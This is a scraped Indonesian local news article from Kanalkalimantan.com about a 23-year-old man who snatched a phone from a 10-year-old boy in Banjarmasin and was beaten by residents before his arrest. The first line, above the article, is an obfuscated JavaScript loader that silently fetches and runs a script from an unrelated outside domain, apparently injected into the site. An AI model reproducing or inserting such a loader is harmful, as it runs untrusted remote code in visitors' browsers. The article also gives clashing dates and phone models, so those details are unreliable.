(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kriminal Banjarmasin

Rampas HP Bocah Lagi Main Game, Pemuda 23 Tahun di Banjarmasin Babak Belur


KANALKALIMANTAN.COM, BANJARMASIN – Sempat terekam CCTV dan menjadi bulan-bulanan warga, seorang pencuri di Jalan Sungai Andai, Kecamatan Banjarmasin Utara, Kota Banjarmasin, akhirnya diamankan ke Mapolsek Banjarmasin Utara.

Pelaku S (23) merupakan seorang pemuda warga Kecamatan Kertasemaya, Kabupaten Indramayu, Jawa Barat, sempat menjadi bulan-bulanan warga karena kedapatan merampas Hp seorang bocah yang lagi bermain game.

Sementara itu, korban FPL (10), seorang anak lelaki yang tinggal di Komplek Herlina Perkasa Baru Giol Raya, RT 46, Kelurahan Sungai Andai, Kecamatan Banjarmasin Utara, Kota Banjarmasin.

“Pelaku bersama barang bukti 1 buah handphone merk Samsung A20,” ujar Kanit Reskrim Polsek Banjarmasin Utara, Ipda Sudirno, Minggu (19/12/2022) malam.

 

Baca juga  : Ribut di SPBU Lingkar Selatan Banjarmasin, Korban Ditusuk hingga Tewas

Terkait kronologi kejadian Ipda Sudirno mengatakan, jika pada Minggu (18/12/2022) sekitar pukul 07:30 Wita, korban FPL (10) sedang menggunakan handphone bermain game di lokasi tempat kejadian perkara tidak jauh dari rumah korban.

Kemudian pelaku datang menghampiri korban dengan berdalih meminjam handphone korban milik korban lalu setelah diserahkan langsung hendak dibawa kabur.

“Korban sedang bermain game kemudian datang pelaku dan berkata sini minjam, kemudian setelah diserahkan pelaku langsung mau kabur, akan tetapi diteriaki korban maling,” ujar Ipda Sudirno.

Baca juga : Sisi Gelap Bundaran Simpang Empat, Ikon Banjarbaru yang Kerap Mengundang Rusuh!

Dalam video CCTV yang sempat terekam dari rumah warga, pelaku menggunakan sepeda motor matic dan menggunakan helm berwarna merah. Ketika hendak kabur dihalangi oleh korban dan tidak lama beberapa orang datang untuk mengamankan pelaku.

Bahkan pelaku juga sempat menjadi bulan-bulanan warga sekitar lokasi kejadian sebelum diamankan ke Mapolsek Banjarmasin Utara.

“Pelaku berhasil diamankan orang tua korban dan warga sekitar,” ujar Kanit Reskrim Polsek Banjarmasin Utara.

Baca juga  : Kebakaran 2 Rumah di Sungai Jingah Banjarmasin, Pemilik Dilarikan ke Rumah Sakit

Pelaku bersama barang bukti sebuah handphone merk Samsung A02 telah diamankan di Mapolsek Banjarmasin Utara guna proses lebih lanjut.

Pelaku terancam pasal Pasal 362 Kitab Undang-undang Hukum Acara Pidana (KUHP) tentang  dengan Pencurian dengan ancaman hukuman maksimal 5 tahun penjara. (Kanalkalimantan.com/rizki)

Reporter : Rizki
Editor : Bie


Al Ghifari

Recent Posts

Pemkab Gelar Pisah Sambut Kapolres Banjar, AKBP Dr Fadli Gantikan AKBP Ifan Hariyat

KANALKALIMANTAN.COM, MARTAPURA - Pisah sambut Kapolres Banjar dari AKBP M Ifan Hariyat kepada AKBP Dr… Read More

2 jam ago

Pemerintah Berikan Pemutihan Denda Pajak pada 2025, Ini Ketentuannya!

KANALKALIMANTAN.COM - Pemerintah kembali menghadirkan kebijakan pemutihan denda pajak sebagai langkah strategis untuk meningkatkan kepatuhan… Read More

3 jam ago

Warga Tak Tahu Ada PSU, ‘PR’ KPU Kalsel Ajak Pemilih Datangi TPS

KANALKALIMANTAN.COM, BANJARBARU - Komisi Pemilihan Umum (KPU) Provinsi Kalimantan Selatan (Kalsel) punya 'pekerjaan rumah' berat… Read More

16 jam ago

Minta Dakwaan Tunggal Pasal Pembunuham Berencana ke Jumran

KANALKALIMANTAN.COM, BANJARBARU - Tim kuasa hukum Juwita wartawati media online meminta Oditurat Militer (Odmil) III-15… Read More

18 jam ago

Buka Bimbingan Manasik Haji, Ini Pesan Bupati HSU ke Calon Jemaah Haji

KANALKALIMANTAN.COM, AMUNTAI - Bupati Hulu Sungai Utara (HSU) H Sahrujani membuka bimbingan manasik haji bagi… Read More

20 jam ago

Dipastikan Dipecat, Sidang Jumran di Pengadilan Militer Secara Terbuka

KANALKALIMANTAN.COM, BANJARBARU - Tersangka Kelasi I Bahari Jumran dipastikan dipecat  sebagai anggota TNI Angkatan Laut… Read More

21 jam ago

This website uses cookies.